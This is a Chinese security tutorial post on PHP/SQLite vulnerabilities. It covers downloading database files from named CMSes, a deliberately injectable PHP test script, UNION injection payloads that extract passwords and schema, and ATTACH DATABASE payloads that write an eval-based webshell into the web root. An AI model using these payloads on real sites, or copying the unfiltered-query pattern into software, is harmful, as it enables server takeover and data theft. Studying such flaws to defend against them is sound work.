纵有疾风起
人生不言弃

PHP/Sqlite下常见漏洞浅析 – 网站安全 – 自学php

 0x00 前⾔

SQLite作为⼀一款轻型数据库,PHP开发人员⼀定不会陌⽣生,PHP5后,其已默认集成这个轻巧的内嵌式数据库产品.对于采⽤用PHP/Sqlite的CMS,也存在⼀些常见的安全威胁.笔者以下数例加以分析,欢迎指出不足与错误之处.

0x01 数据库下载

作为⼀个单⽂文件的轻型数据库,存在与类似Access的问题,即数据库下载.在测试的几个CMS中,便存在固定/默认数据库名/地址的问题,可下载造成安全威胁.而某些CMS即使设置有数据库随机⽂件名,但仍存在安全威胁,如XiaoCMS

PHP/Sqlite下常见漏洞浅析 – 网站安全 – 自学php插图

看似防下载的#%使⽤用URL编码即可绕过,⽽由于短⽂文件名漏洞的存在,随机⽂件名也不再安全,只需猜解0-9a-f的4位组合即可下载数据:

PHP/Sqlite下常见漏洞浅析 – 网站安全 – 自学php插图1

借鉴于Access的数据库防护手法,部分CMS将数据库后缀修改为php,并创建表”create table ‘<?php’ (a); “,以期防下载,但也引入了新的安全威胁.

0x02 数据库GetShell

首先是Akcms,其Sqlite版本数据库后缀为php,但连'<?php’表也没有添加,只要得到(猜解)六位数据库文件名即可GetShell.以下为插⼊入phpinfo();示例:

PHP/Sqlite下常见漏洞浅析 – 网站安全 – 自学php插图2

而稻草⼈人CMS虽加⼊入了'<?php’表,但在PHP并未抛出错误,仍可下载数据库内容.

 

PHP/Sqlite下常见漏洞浅析 – 网站安全 – 自学php插图3

 

稻草⼈人在前台使⽤用strip_tags()函数过滤了输⼊变量,避免了直接GetShell.但通过数据库下载破解管理密码,后台亦可任意编辑⽂件,造成相应的安全威胁.

0x03 注⼊入语法

为⽅方便测试,写有如下PHP脚本

PHP/Sqlite下常见漏洞浅析 – 网站安全 – 自学php插图4

连接数据库⽂文件sqlite.db内容如下:

PHP/Sqlite下常见漏洞浅析 – 网站安全 – 自学php插图5

可以看到id输入未经任何过滤,可被我们利⽤用,一个Demo如下:

PHP/Sqlite下常见漏洞浅析 – 网站安全 – 自学php插图6

正常id输入1-3均可返回对应的name,⽽而通过注入语句:

4 union select user,pass,id from user where id=1;

可通过union查询到id为1的pass值.与MySQL5.x类似的,Sqlite存在与information_schema类似的⼀一个表,默认并不显示,名为sqlite_master,表中的字段有type,name,tbl_name,rootpage,sql,⽐较有价值的是sql字段.首先测试有回显处为2

PHP/Sqlite下常见漏洞浅析 – 网站安全 – 自学php插图7

 

查询sql字段内容

 

PHP/Sqlite下常见漏洞浅析 – 网站安全 – 自学php插图8

如上可以得到表结构.此外,常⻅见的一些语法也与Mysql类似如:

注释符: —

连接符: ||

Substring: substr(a,b,c)

长度: length(x)

0x04 注⼊入GetShell

Sqlite中通过Attach语句可以附加数据库(若不存在则创建⽂文件),通过此语句可借助Sqlite注入GetShell,但上面的数据库查询语句:

$db->query($sql);

是⽆无法Attach创建文件的 以下GetShell环境,测试创建Sqlite3数据库

PHP/Sqlite下常见漏洞浅析 – 网站安全 – 自学php插图9

修改语句如下:

< ? php

if ( isset ( $ _GET [ ‘id’ ] ) ) {

$ id = $ _GET [ ‘id’ ] ;

} else {

echo “id!” ;

exit ;

}

$ db = new PDO ( ‘sqlite:sqlite3.db’ ) ;

$ sql = “select * from user where id=$id” ;

echo “<h4>Sql: ” . $ sql . “</h4>” ;

var_dump ( @ $ db -> exec ( $ sql ) ) ;

 

此时即可借助注入语句插入WebShell

测试语句1:

4 ; ATTACH DATABASE ‘C:\\wamp\\www\\le4f.php’ AS pwn ; CREATE T

ABLE pwn . exp ( dataz text ) ; INSERT INTO pwn . exp ( dataz ) VALUES (

‘ <?php phpinfo ( ) ; ?> ‘ ) ; —

PHP/Sqlite下常见漏洞浅析 – 网站安全 – 自学php插图10

得到phpinfo

PHP/Sqlite下常见漏洞浅析 – 网站安全 – 自学php插图11

写⼊一个WebShell:

 

4 ; ATTACH DATABASE 'C:\\wamp\\www\\shell.php' AS pwn ; CREATE

TABLE pwn . exp ( dataz text ) ; INSERT INTO pwn . exp ( dataz ) VALUES

( ‘ <? eval ( $_GET [ ‘cmd’ ] ) ; ?> ‘ ) ; —

 

PHP/Sqlite下常见漏洞浅析 – 网站安全 – 自学php插图12

PHP/Sqlite下常见漏洞浅析 – 网站安全 – 自学php插图13

PHP调用Sqlite还有多种方式,猜想execute和exec⽅式均有可能GetShell.对于Sqlite2数据库,如下代码:

$ db = new PDO ( ‘sqlite2:sqlite.db’ ) ;

$ db -> exec ( $ sql ) ;

可以注⼊语句Attach创建空⽂件,但未能插入数据.各位看官如有研究还望指点⼀二.

0x05 小结

与Access数据库类似,Sqlite轻巧方便的同时,也存在很多可利⽤的威胁,对开发者来讲也是要注意的问题.以上仅为笔者所观的冰⼭⼀角,更多问题由看官去研究发现.

 

    上一篇: Ecmall某处SQL二次注入第三弹 – 网站安全 – 自学p

    下一篇: 利用万能密码登陆网站后台并漏洞修复 – 网站安
未经允许不得转载:起风网 » PHP/Sqlite下常见漏洞浅析 – 网站安全 – 自学php
分享到: 生成海报

评论 抢沙发

评论前必须登录!

立即登录